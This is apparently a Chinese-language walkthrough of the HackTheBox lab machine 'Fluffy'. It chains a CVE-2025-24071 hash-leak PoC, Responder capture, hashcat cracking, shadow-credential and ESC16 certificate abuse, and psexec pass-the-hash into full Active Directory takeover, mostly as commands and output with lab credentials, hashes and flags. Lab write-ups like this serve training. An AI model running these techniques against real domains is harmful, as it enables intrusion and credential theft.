Season8 - Fluffy

https://app.hackthebox.com/machines/Fluffy | Windows · Easy

**Machine Information：**As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!

前期踩点

➜ nmap -sT -min-rate 5000 -p- 10.10.11.69       
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-25 00:53 EDT
Nmap scan report for 10.10.11.69
Host is up (0.15s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
636/tcp   open  ldapssl
3269/tcp  open  globalcatLDAPssl
9389/tcp  open  adws
49667/tcp open  unknown
49677/tcp open  unknown
49695/tcp open  unknown
49701/tcp open  unknown

这次的靶机依旧是没有Web

➜ nmap -sT -A -T4 -O -p 53,139,445 10.10.11.69                                                                                                                               
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-25 00:59 EDT
Nmap scan report for 10.10.11.69
Host is up (0.16s latency).

PORT    STATE SERVICE       VERSION
53/tcp  open  domain        Simple DNS Plus
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-05-25T11:38:32
|_  start_date: N/A
|_clock-skew: 6h38m59s

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   183.42 ms 10.10.16.1
2   183.81 ms 10.10.11.69

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.00 seconds

信息收集

SMB

测试凭据

➜ crackmapexec smb 10.10.11.69 -u j.fleischman -p J0elTHEM4n1990!
SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!

枚举用户

➜  nxc smb fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --rid-brute | grep "SidTypeUser" | awk -F '\\' '{print $2}' | awk '{print $1}' 
Guest
krbtgt
DC01$
ca_svc
ldap_svc
p.agila
winrm_svc
j.coffey
j.fleischman

SMB 信息收集

➜ smbclient -L 10.10.11.69 -U fluffy.htb/j.fleischman%J0elTHEM4n1990!

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        IT              Disk      
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.69 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

➜ smbclient //10.10.11.69/IT -U fluffy.htb/j.fleischman%J0elTHEM4n1990!
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun May 25 08:21:54 2025
  ..                                  D        0  Sun May 25 08:21:54 2025
  0x5chltz.library-ms                 A      364  Sun May 25 08:13:39 2025
  1.lnk                               A     2164  Sun May 25 07:59:46 2025
  Everything-1.4.1.1026.x64           D        0  Fri Apr 18 11:08:44 2025
  Everything-1.4.1.1026.x64.zip       A      317  Sun May 25 08:06:27 2025
  KeePass-2.58                        D        0  Fri Apr 18 11:08:38 2025
  KeePass-2.58.zip                    A      317  Sun May 25 08:06:16 2025
  Upgrade_Notice.pdf                  A   169963  Sat May 17 10:31:07 2025

                5842943 blocks of size 4096. 1849449 blocks available

Upgrade_Notice.pdf 像是渗透测试报告一样的东西

下边有披露的公开漏洞

能看到有两个 Critical 漏洞以及两个 High 漏洞

CVE-2025-24071

对比了两个漏洞 CVE-2025-24996 和 CVE-2025-24071

其中 CVE-2025-24996 网上文章并不多，而 CVE-2025-24071 会有复现文章，所以侧重于 CVE-2025-24071

复现文章：https://blog.csdn.net/weixin_42773448/article/details/146436061

工具：https://github.com/0x6rss/CVE-2025-24071_PoC

➜  CVE-2025-24071_PoC git:(main) python poc.py 
Enter your file name: doc
Enter IP (EX: 192.168.1.162): 10.10.16.16
completed

上传到 IT

smb: \> put exploit.zip
putting file exploit.zip as \exploit.zip (0.8 kb/s) (average 0.8 kb/s)

同时开启responder监听

➜ responder -I tun0 -wd
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.5.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C

等一会能就接收到 p.agila 用户 NET NTLM hash

p.agila::FLUFFY:56ab772ca1eae1e3:E1A831FDA20AA227AD2187ABCD5C3737:01010000000000008003A3D819CDDB010A2E54C0A8C85EC30000000002000800330037003200460001001E00570049004E002D0059005000570030004F00330051004D0053004500480004003400570049004E002D0059005000570030004F00330051004D005300450048002E0033003700320046002E004C004F00430041004C000300140033003700320046002E004C004F00430041004C000500140033003700320046002E004C004F00430041004C00070008008003A3D819CDDB01060004000200000008003000300000000000000001000000002000009850210C3B697422BCA38C6B2216E754DBFB52DA16AAC86C61528CEE298FC1640A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00310036000000000000000000

使用 hashcat 进行破解用户凭据

➜ hashcat -m 5600 'xxxx' /usr/share/wordlists/rockyou.txt

得到密码 prometheusx-303

测试凭据

➜ crackmapexec smb 10.10.11.69 -u p.agila -p prometheusx-303
SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\p.agila:prometheusx-303

BloodHound

这里使用 BloodHound 进行枚举域攻击路线

ntpdate -s 10.10.11.69 && bloodhound-python -u 'p.agila' -p 'prometheusx-303' -d 'fluffy.htb' -ns 10.10.11.69 --zip -c All -dc DC.fluffy.htb

➜ ntpdate -s 10.10.11.69 && bloodhound-python -u 'p.agila' -p 'prometheusx-303' -d 'fluffy.htb' -ns 10.10.11.69 --zip -c All -dc DC01.fluffy.htb
INFO: Found AD domain: fluffy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.fluffy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC01.fluffy.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 00M 24S
INFO: Compressing output into 20250525091352_bloodhound.zip

用户 p.agila 属于 SERVICE ACCOUNT MANGERS 和 SERVICE ACCOUNTS 组，其中SERVICE ACCOUNT MANGERS 对 SERVICE ACCOUNTS 组有 GenericAll 权限

然后远程服务用户 WINRM_SVC 等也是在 SERVICE ACCOUNTS 组内

域渗透

To Winrm_svc

可以使用 GetUserSPNs 获取服务用户 HASH 来进行破解

但是并无法破解成功，服务账户密码都是随机的…

影子用户(Shadow Credential Attack)启动

➜ certipy shadow auto -username "p.agila@fluffy.htb" -p "prometheusx-303" -account WINRM_SVC -dc-ip 10.10.11.69

➜ export KRB5CCNAME=winrm_svc.ccache

evil-winrm 登录

➜ evil-winrm -i 10.10.11.69 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents>

user.txt

*Evil-WinRM* PS C:\Users\winrm_svc\Desktop> type user.txt
9e23a6ed83a674306f7fad569aa292bb

寻找攻击路线

继续寻找提权路线

感觉还是要拿 CA_SVC 用户进行一些攻击，例如 ADCS 攻击，因为它是 CA 服务用户

使用 certipy （这里需要对certipy进行更新，在这里卡了很久，愣是找不到攻击路径）枚举可能的漏洞信息

➜ certipy find -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -vulnerable     
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20250525110326_Certipy.txt'
[*] Wrote text output to '20250525110326_Certipy.txt'
[*] Saving JSON output to '20250525110326_Certipy.json'
[*] Wrote JSON output to '20250525110326_Certipy.json'

存在 ESC16

ESC16

利用链接：https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally

影子用户获取 CA_SVC 的 NT hash

➜ certipy shadow auto -username "p.agila@fluffy.htb" -p "prometheusx-303" -account CA_SVC -dc-ip 10.10.11.69
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '7f0851e9-35c3-eccb-fd92-b35465aa5f94'
[*] Adding Key Credential with device ID '7f0851e9-35c3-eccb-fd92-b35465aa5f94' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '7f0851e9-35c3-eccb-fd92-b35465aa5f94' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8

下面跟着利用链接的做即可

➜ certipy account -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -user 'ca_svc' read

[*] Reading attributes for 'ca_svc':
    cn                                  : certificate authority service
    distinguishedName                   : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
    name                                : certificate authority service
    objectSid                           : S-1-5-21-497550768-2797716248-2627064577-1103
    sAMAccountName                      : ca_svc
    servicePrincipalName                : ADCS/ca.fluffy.htb
    userPrincipalName                   : ca_svc@fluffy.htb
    userAccountControl                  : 66048
    whenCreated                         : 2025-04-17T16:07:50+00:00
    whenChanged                         : 2025-05-25T14:57:02+00:00

➜ ntpdate -s 10.10.11.69 && certipy-ad account -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -upn 'administrator@fluffy.htb' -user 'ca_svc' update
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName                   : administrator@fluffy.htb
[*] Successfully updated 'ca_svc'

➜ certipy req -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -target 'DC01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 43
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@fluffy.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

➜ ntpdate -s 10.10.11.69 && certipy-ad account -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName                   : ca_svc@fluffy.htb
[*] Successfully updated 'ca_svc'

➜ certipy auth -pfx administrator.pfx -username 'administrator' -domain 'fluffy.htb' -dc-ip 10.10.11.69                                                                                                   
Certipy v5.0.2 - by Oliver Lyak (ly4k)      
                                                                                                                                                                                                                  
[*] Certificate identities:                                                                                                                                                                                       
[*]     SAN UPN: 'administrator@fluffy.htb'                                                              
[*] Using principal: 'administrator@fluffy.htb'                                                                                                                                                                   
[*] Trying to get TGT...                                                                                                                                                                                          
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache' 
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e

➜ psexec.py fluffy.htb/administrator@10.10.11.69 -hashes aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.11.69.....
[*] Found writable share ADMIN$
[*] Uploading file VJlmOeTb.exe
[*] Opening SVCManager on 10.10.11.69.....
[*] Creating service trya on 10.10.11.69.....
[*] Starting service trya.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.6893]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

C:\Users\Administrator\Desktop> type root.txt
03337de6b0f0f5188a76c3970006b97b

总结

CVE-2025-24071，ADCS，ESC16，NTLM 中继

HackTheBox - Machine - Fluffy